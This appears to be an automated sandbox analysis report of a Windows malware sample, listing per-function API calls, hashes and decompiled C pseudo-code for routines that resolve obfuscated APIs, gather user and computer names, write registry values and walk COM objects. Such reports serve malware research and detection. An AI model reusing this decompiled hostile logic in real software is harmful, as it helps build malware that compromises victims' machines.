strcpy.NTDLL ref: 04B28351
lstrcat.KERNEL32(00000000,?), ref: 04B2835C

Part of subcall function 04B27225: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,04B2836B,00000000,?,?,?,04B2A428,?,054E95B0), ref: 04B2723C

Part of subcall function 04B29039: HeapFree.KERNEL32(00000000,00000000,04B27F18,00000000,?,?,00000000), ref: 04B29045

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,04B2A428,?,054E95B0), ref: 04B28379

Part of subcall function 04B28E82: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,04B28385,00000000,?,?,04B2A428,?,054E95B0), ref: 04B28E8C
Part of subcall function 04B28E82: _snprintf.NTDLL ref: 04B28EEA

Strings

=, xrefs: 04B28373

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: ff920e39f0c50adda56cf52f80fc2dc37bd490b7f08a08d57fbd1ab36038435c
Instruction ID: 1007f88bd2061f230cd60f37e264c5a3b866b94dbea5c0c04f3603e35fca119b
Opcode Fuzzy Hash: ff920e39f0c50adda56cf52f80fc2dc37bd490b7f08a08d57fbd1ab36038435c
Instruction Fuzzy Hash: C2110673A00239B767227BB5EE84CAF3AADDF886587050196F90C97100CE39ED0297E5

Uniqueness

Uniqueness Score: -1.00%

Function 04B26CC3, Relevance: 9.1, APIs: 6, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 04B26D1F
SysAllocString.OLEAUT32(0070006F), ref: 04B26D33
SysAllocString.OLEAUT32(00000000), ref: 04B26D45
SysFreeString.OLEAUT32(00000000), ref: 04B26DA9
SysFreeString.OLEAUT32(00000000), ref: 04B26DB8
SysFreeString.OLEAUT32(00000000), ref: 04B26DC3

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: ab0c32aba44d1dbdbb41b6ccfefd73b93ed4ac5d98f3a8b0c6beef1a063d6d93
Instruction ID: 08736129395a7e49cee02f7b75742b71a67527bf239a66b833cc3c0fab6c105a
Opcode Fuzzy Hash: ab0c32aba44d1dbdbb41b6ccfefd73b93ed4ac5d98f3a8b0c6beef1a063d6d93
Instruction Fuzzy Hash: CB315E32D00619ABDF01DFB8C944ADFBBB6EF48340F144465E914EB120DB75AD06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04B2692C, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B2692C(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E04B22049(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x4b2d27c; // 0x9ba5a8
					_t1 = _t23 + 0x4b2e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x4b2d27c; // 0x9ba5a8
					_t2 = _t26 + 0x4b2e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E04B29039(_t54);
					} else {
						_t30 =  *0x4b2d27c; // 0x9ba5a8
						_t5 = _t30 + 0x4b2e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x4b2d27c; // 0x9ba5a8
							_t7 = _t33 + 0x4b2e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x4b2d27c; // 0x9ba5a8
								_t9 = _t36 + 0x4b2e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x4b2d27c; // 0x9ba5a8
									_t11 = _t39 + 0x4b2e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E04B2727B(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x04b2693b
0x04b2693f
0x04b26a01
0x04b26945
0x04b26945
0x04b2694a
0x04b2695d
0x04b2695f
0x04b26964
0x04b2696c
0x04b26973
0x04b26977
0x04b2697a
0x04b269f9
0x04b269fa
0x04b2697c
0x04b2697c
0x04b26981
0x04b26989
0x04b2698d
0x04b26990
0x00000000
0x04b26992
0x04b26992
0x04b26997
0x04b2699f
0x04b269a3
0x04b269a6
0x00000000
0x04b269a8
0x04b269a8
0x04b269ad
0x04b269b5
0x04b269b9
0x04b269bc
0x00000000
0x04b269be
0x04b269be
0x04b269c3
0x04b269cb
0x04b269cf
0x04b269d2
0x00000000
0x04b269d4
0x04b269da
0x04b269df
0x04b269e6
0x04b269ed
0x04b269f0
0x00000000
0x04b269f2
0x04b269f5
0x04b269f5
0x04b269f0
0x04b269d2
0x04b269bc
0x04b269a6
0x04b26990
0x04b2697a
0x04b26a0f

APIs

Part of subcall function 04B22049: RtlAllocateHeap.NTDLL(00000000,00000000,04B27E50), ref: 04B22055

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04B2207A,?,00000001,?,?,00000000,00000000), ref: 04B26951
GetProcAddress.KERNEL32(00000000,7243775A), ref: 04B26973
GetProcAddress.KERNEL32(00000000,614D775A), ref: 04B26989
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 04B2699F
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 04B269B5
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 04B269CB

Part of subcall function 04B2727B: memset.NTDLL ref: 04B272FA

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: b6b0b83275f88182cefcaab4fd11c985c7d8153dbb5f26047552611d0c7daa10
Instruction ID: 1b87b6369aa866c9af475beebf9b09ff76eb4f6c2ca671702806c4b5b61534a9
Opcode Fuzzy Hash: b6b0b83275f88182cefcaab4fd11c985c7d8153dbb5f26047552611d0c7daa10
Instruction Fuzzy Hash: CA2121B1601219EFEB20DFBADA44E5A77ECEB0C3447018166E619C7200E739F9058F70

Uniqueness

Uniqueness Score: -1.00%

Function 04B27649, Relevance: 7.6, APIs: 5, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B27649() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t63;
				short* _t66;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t63 = E04B22049(_v12 + _t43 + 2 << 2);
						if(_t63 != 0) {
							_t47 = _v12;
							_t66 = _t63 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t66,  &_v8) == 0) {
								L7:
								E04B29039(_t63);
							} else {
								 *((short*)(_t66 + _v8 * 2 - 2)) = 0x40;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t66[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x4b2a33a
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t66, _t56, _t63, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t63[_t57] = 0;
										_v16 = _t63;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x04b27657
0x04b2765a
0x04b2765d
0x04b27663
0x04b27668
0x04b2766e
0x04b27676
0x04b27679
0x04b2767f
0x04b27684
0x04b27691
0x04b2769e
0x04b276a2
0x04b276a4
0x04b276a8
0x04b276ab
0x04b276bb
0x04b2770d
0x04b2770e
0x04b276bd
0x04b276c0
0x04b276c7
0x04b276ca
0x04b276dd
0x00000000
0x04b276df
0x04b276e2
0x04b276e7
0x04b276f5
0x04b276f8
0x04b27700
0x04b27703
0x00000000
0x04b27705
0x04b27705
0x04b27708
0x04b27708
0x04b27703
0x04b276dd
0x04b27713
0x04b27714
0x04b27684
0x04b2771a

APIs

GetUserNameW.ADVAPI32(00000000,04B2A338), ref: 04B2765D
GetComputerNameW.KERNEL32(00000000,04B2A338), ref: 04B27679

Part of subcall function 04B22049: RtlAllocateHeap.NTDLL(00000000,00000000,04B27E50), ref: 04B22055

GetUserNameW.ADVAPI32(00000000,04B2A338), ref: 04B276B3
GetComputerNameW.KERNEL32(04B2A338,?), ref: 04B276D5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,04B2A338,00000000,04B2A33A,00000000,00000000,?,?,04B2A338), ref: 04B276F8

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: f08f6a1013ad00b939823916efa9826b8f7a7b5d3c805eb4e9276a7722458c30
Instruction ID: 09ec3c9745c09759dd14cce0c88268afb6089d356b8d31737cf193cd3480e229
Opcode Fuzzy Hash: f08f6a1013ad00b939823916efa9826b8f7a7b5d3c805eb4e9276a7722458c30
Instruction Fuzzy Hash: 5821D776910218FBDB11DFA9DA84CEEBBBCEE44304B5044AAE505E7210EB35AF44DB64

Uniqueness

Uniqueness Score: -1.00%

Function 04B21585, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E04B21585(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E04B27F27(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E04B2A9AB(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0x4b2d130() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x04b21585
0x04b21592
0x04b21594
0x04b215f7
0x00000000
0x04b215f7
0x04b215ac
0x04b215b3
0x04b215bf
0x04b215c4
0x04b215c6
0x04b215c8
0x04b215ca
0x04b215cc
0x04b215ce
0x04b215da
0x04b215ea
0x00000000
0x04b215dc
0x04b215dc
0x04b215e3
0x04b215f0
0x04b215f0
0x04b215f0
0x04b215e3
0x04b215da
0x04b215f5
0x00000000
0x00000000
0x04b215fb

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,04B211DA,?,?,00000000,00000000), ref: 04B215BF
ResetEvent.KERNEL32(?), ref: 04B215C4
GetLastError.KERNEL32 ref: 04B215DC
GetLastError.KERNEL32(?,?,00000102,04B211DA,?,?,00000000,00000000), ref: 04B215F7

Part of subcall function 04B27F27: lstrlen.KERNEL32(00000000,00000008,?,74B04D40,?,?,04B215A4,?,?,?,?,00000102,04B211DA,?,?,00000000), ref: 04B27F33
Part of subcall function 04B27F27: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04B215A4,?,?,?,?,00000102,04B211DA,?), ref: 04B27F91
Part of subcall function 04B27F27: lstrcpy.KERNEL32(00000000,00000000), ref: 04B27FA1

SetEvent.KERNEL32(?), ref: 04B215EA

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: c6afb6f6f01a473a3ac288c9852d399c45d9198d72121abc2949286ddf5705ed
Instruction ID: c0c229e9c7ff4adcb09ae994788dd7bc76d5e1fa8721eccee545b925a56d4293
Opcode Fuzzy Hash: c6afb6f6f01a473a3ac288c9852d399c45d9198d72121abc2949286ddf5705ed
Instruction Fuzzy Hash: D201D131100222ABE7306F35DE44F1BBAB8FF45360F204AA6F95AD20E0DA21F815DA65

Uniqueness

Uniqueness Score: -1.00%

Function 04B28F10, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B28F10(intOrPtr _a4) {
				void* _t2;
				long _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t13;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x4b2d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t13 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x4b2d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0x4b2d258 = _t6;
					 *0x4b2d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x4b2d254 = _t7;
					if(_t7 == 0) {
						 *0x4b2d254 =  *0x4b2d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 > 0) {
					goto L5;
				}
				_t13 = _t4 - _t4;
				goto L4;
			}

0x04b28f18
0x04b28f20
0x04b28f25
0x00000000
0x04b28f7a
0x04b28f27
0x04b28f2f
0x04b28f37
0x04b28f37
0x04b28f77
0x00000000
0x04b28f77
0x04b28f39
0x04b28f39
0x04b28f3e
0x04b28f50
0x04b28f55
0x04b28f5b
0x04b28f63
0x04b28f68
0x04b28f6a
0x04b28f6a
0x00000000
0x04b28f71
0x04b28f33
0x00000000
0x00000000
0x04b28f35
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,04B26A90,?,?,00000001,?,?,?,04B2807D,?), ref: 04B28F18
GetVersion.KERNEL32(?,00000001,?,?,?,04B2807D,?), ref: 04B28F27
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,04B2807D,?), ref: 04B28F3E
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,04B2807D,?), ref: 04B28F5B
GetLastError.KERNEL32(?,00000001,?,?,?,04B2807D,?), ref: 04B28F7A

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: fca8eb9773bc9af34faff01cbedc6da3e9bf2e796202030e2c289922d3592150
Instruction ID: f455c0a19d345b619532895e4c938a45bea0fa317a10ff836695fc11b8eef490
Opcode Fuzzy Hash: fca8eb9773bc9af34faff01cbedc6da3e9bf2e796202030e2c289922d3592150
Instruction Fuzzy Hash: F3F08C306903519AEB30AF34EF08B193F76F744780F000B5BE54AC71C0D27A9841CA39

Uniqueness

Uniqueness Score: -1.00%

Function 04B217D5, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E04B217D5(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t60;
				intOrPtr* _t61;
				intOrPtr _t65;
				char _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t78;
				void* _t88;
				void* _t97;
				void* _t98;
				char _t104;
				signed int* _t106;
				intOrPtr* _t107;
				void* _t108;

				_t98 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t104 = _a16;
				if(_t104 == 0) {
					__imp__( &_v284,  *0x4b2d33c);
					_t97 = 0x80000002;
					L6:
					_t60 = E04B2809F(0,  &_v284);
					_a8 = _t60;
					if(_t60 == 0) {
						_v8 = 8;
						L29:
						_t61 = _a20;
						if(_t61 != 0) {
							 *_t61 =  *_t61 + 1;
						}
						return _v8;
					}
					_t107 = _a24;
					if(E04B288B7(_t98, _t103, _t107, _t97, _t60) != 0) {
						L27:
						E04B29039(_a8);
						goto L29;
					}
					_t65 =  *0x4b2d27c; // 0x9ba5a8
					_t16 = _t65 + 0x4b2e8fe; // 0x65696c43
					_t68 = E04B2809F(0, _t16);
					_a24 = _t68;
					if(_t68 == 0) {
						L14:
						_t29 = _t107 + 0x14; // 0x102
						_t33 = _t107 + 0x10; // 0x3d04b2c0
						if(E04B2A635(_t103,  *_t33, _t97, _a8,  *0x4b2d334,  *((intOrPtr*)( *_t29 + 0x28))) == 0) {
							_t72 =  *0x4b2d27c; // 0x9ba5a8
							if(_t104 == 0) {
								_t35 = _t72 + 0x4b2ea5f; // 0x4d4c4b48
								_t73 = _t35;
							} else {
								_t34 = _t72 + 0x4b2e89f; // 0x55434b48
								_t73 = _t34;
							}
							if(E04B2816C(_t73,  *0x4b2d334,  *0x4b2d338,  &_a24,  &_a16) == 0) {
								if(_t104 == 0) {
									_t75 =  *0x4b2d27c; // 0x9ba5a8
									_t44 = _t75 + 0x4b2e871; // 0x74666f53
									_t78 = E04B2809F(0, _t44);
									_t105 = _t78;
									if(_t78 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t107 + 0x10; // 0x3d04b2c0
										E04B22659( *_t47, _t97, _a8,  *0x4b2d338, _a24);
										_t49 = _t107 + 0x10; // 0x3d04b2c0
										E04B22659( *_t49, _t97, _t105,  *0x4b2d330, _a16);
										E04B29039(_t105);
									}
								} else {
									_t40 = _t107 + 0x10; // 0x3d04b2c0
									E04B22659( *_t40, _t97, _a8,  *0x4b2d338, _a24);
									_t43 = _t107 + 0x10; // 0x3d04b2c0
									E04B22659( *_t43, _t97, _a8,  *0x4b2d330, _a16);
								}
								if( *_t107 != 0) {
									E04B29039(_a24);
								} else {
									 *_t107 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t107 + 0x10; // 0x3d04b2c0
					if(E04B26BFA( *_t21, _t97, _a8, _t68,  &_v16,  &_v12) == 0) {
						_t106 = _v16;
						_t88 = 0x28;
						if(_v12 == _t88) {
							 *_t106 =  *_t106 & 0x00000000;
							_t26 = _t107 + 0x10; // 0x3d04b2c0
							E04B2A635(_t103,  *_t26, _t97, _a8, _a24, _t106);
						}
						E04B29039(_t106);
						_t104 = _a16;
					}
					E04B29039(_a24);
					goto L14;
				}
				if(_t104 <= 8 || _t104 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t103 = _a8;
					E04B2A8D8(_t104, _a8,  &_v284);
					__imp__(_t108 + _t104 - 0x117,  *0x4b2d33c);
					 *((char*)(_t108 + _t104 - 0x118)) = 0x5c;
					_t97 = 0x80000003;
					goto L6;
				}
			}

0x04b217d5
0x04b217de
0x04b217e5
0x04b217ea
0x04b21857
0x04b2185d
0x04b21862
0x04b2186b
0x04b21872
0x04b21875
0x04b219e9
0x04b219f0
0x04b219f0
0x04b219f5
0x04b219f7
0x04b219f7
0x04b21a00
0x04b21a00
0x04b2187b
0x04b21887
0x04b219df
0x04b219e2
0x00000000
0x04b219e2
0x04b2188d
0x04b21892
0x04b2189b
0x04b218a2
0x04b218a5
0x04b218ef
0x04b218ef
0x04b21902
0x04b2190c
0x04b21914
0x04b21919
0x04b21923
0x04b21923
0x04b2191b
0x04b2191b
0x04b2191b
0x04b2191b
0x04b21945
0x04b2194d
0x04b2197b
0x04b21980
0x04b21989
0x04b2198e
0x04b21992
0x04b219c4
0x04b21994
0x04b219a1
0x04b219a4
0x04b219b4
0x04b219b7
0x04b219bd
0x04b219bd
0x04b2194f
0x04b2195c
0x04b2195f
0x04b21971
0x04b21974
0x04b21974
0x04b219ce
0x04b219da
0x04b219d0
0x04b219d3
0x04b219d3
0x04b219ce
0x04b21945
0x00000000
0x04b2190c
0x04b218b4
0x04b218be
0x04b218c0
0x04b218c5
0x04b218c9
0x04b218cb
0x04b218d6
0x04b218d9
0x04b218d9
0x04b218df
0x04b218e4
0x04b218e4
0x04b218ea
0x00000000
0x04b218ea
0x04b217ef
0x00000000
0x04b21816
0x04b21816
0x04b21822
0x04b21835
0x04b2183b
0x04b21843
0x00000000
0x04b21843

APIs

StrChrA.SHLWAPI(04B23C81,0000005F,00000000,00000000,00000104), ref: 04B21808
lstrcpy.KERNEL32(?,?), ref: 04B21835

Part of subcall function 04B2809F: lstrlen.KERNEL32(?,00000000,04B2D330,00000001,04B22200,04B2D00C,04B2D00C,00000000,00000005,00000000,00000000,?,?,?,04B296C1,04B223E9), ref: 04B280A8
Part of subcall function 04B2809F: mbstowcs.NTDLL ref: 04B280CF
Part of subcall function 04B2809F: memset.NTDLL ref: 04B280E1

Part of subcall function 04B22659: lstrlenW.KERNEL32(04B23C81,?,?,04B219A9,3D04B2C0,80000002,04B23C81,04B28B1E,74666F53,4D4C4B48,04B28B1E,?,3D04B2C0,80000002,04B23C81,?), ref: 04B22679

Part of subcall function 04B29039: HeapFree.KERNEL32(00000000,00000000,04B27F18,00000000,?,?,00000000), ref: 04B29045

lstrcpy.KERNEL32(?,00000000), ref: 04B21857

Strings

\, xrefs: 04B2183B

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: \
API String ID: 3924217599-2967466578
Opcode ID: 58f483914d2b59c2c9ce89b988e44737085924daabdcbfdf384b29d273b8f4e6
Instruction ID: 36983a789799cbcad2f8fdf65e80bfcba5e5792ccc1158d6e807b720cab23ba8
Opcode Fuzzy Hash: 58f483914d2b59c2c9ce89b988e44737085924daabdcbfdf384b29d273b8f4e6
Instruction Fuzzy Hash: 0B515F72500229EFEF21AFA4DF40E9B37BEEB18304F108595FA1997110D736E916DB61

Uniqueness

Uniqueness Score: -1.00%

Function 04B252F9, Relevance: 6.2, APIs: 4, Instructions: 152
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E04B252F9(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr _t78;
				intOrPtr* _t82;
				intOrPtr* _t86;
				intOrPtr _t102;
				intOrPtr _t108;
				void* _t117;
				void* _t121;
				void* _t122;
				intOrPtr _t129;

				_t122 = _t121 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t117 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t117 >= 0) {
					_t54 = _v8;
					_t102 =  *0x4b2d27c; // 0x9ba5a8
					_t5 = _t102 + 0x4b2e038; // 0x3050f485
					_t117 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t117 >= 0) {
						__imp__#2(0x4b2c2b0);
						_v28 = _t57;
						if(_t57 == 0) {
							_t117 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t86 = __imp__#6;
							_t117 = _t61;
							if(_t117 >= 0) {
								_t63 = _v24;
								_t117 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t117 >= 0) {
									_t129 = _v20;
									if(_t129 != 0) {
										_v64 = 3;
										_v48 = 3;
										_v56 = 0;
										_v40 = 0;
										if(_t129 > 0) {
											while(1) {
												_t67 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t122 = _t122;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t117 =  *((intOrPtr*)( *_t67 + 0x2c))(_t67,  &_v8);
												if(_t117 < 0) {
													goto L16;
												}
												_t69 = _v8;
												_t108 =  *0x4b2d27c; // 0x9ba5a8
												_t28 = _t108 + 0x4b2e0bc; // 0x3050f1ff
												_t117 =  *((intOrPtr*)( *_t69))(_t69, _t28,  &_v16);
												if(_t117 >= 0) {
													_t74 = _v16;
													_t117 =  *((intOrPtr*)( *_t74 + 0x34))(_t74,  &_v12);
													if(_t117 >= 0 && _v12 != 0) {
														_t78 =  *0x4b2d27c; // 0x9ba5a8
														_t33 = _t78 + 0x4b2e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t82 = _v16;
															 *((intOrPtr*)( *_t82 + 0x114))(_t82);
														}
														 *_t86(_v12);
													}
													_t76 = _v16;
													 *((intOrPtr*)( *_t76 + 8))(_t76);
												}
												_t71 = _v8;
												 *((intOrPtr*)( *_t71 + 8))(_t71);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t86(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t117;
			}

0x04b252fe
0x04b25307
0x04b25308
0x04b2530c
0x04b25312
0x04b25318
0x04b25321
0x04b25327
0x04b25331
0x04b25333
0x04b25339
0x04b2533e
0x04b25349
0x04b25351
0x04b25354
0x04b25477
0x04b2535a
0x04b2535a
0x04b25367
0x04b2536d
0x04b25373
0x04b25377
0x04b2537d
0x04b2538a
0x04b2538e
0x04b25394
0x04b25397
0x04b2539d
0x04b253a3
0x04b253a9
0x04b253ac
0x04b253af
0x04b253b5
0x04b253be
0x04b253c4
0x04b253c5
0x04b253c8
0x04b253c9
0x04b253ca
0x04b253d2
0x04b253d3
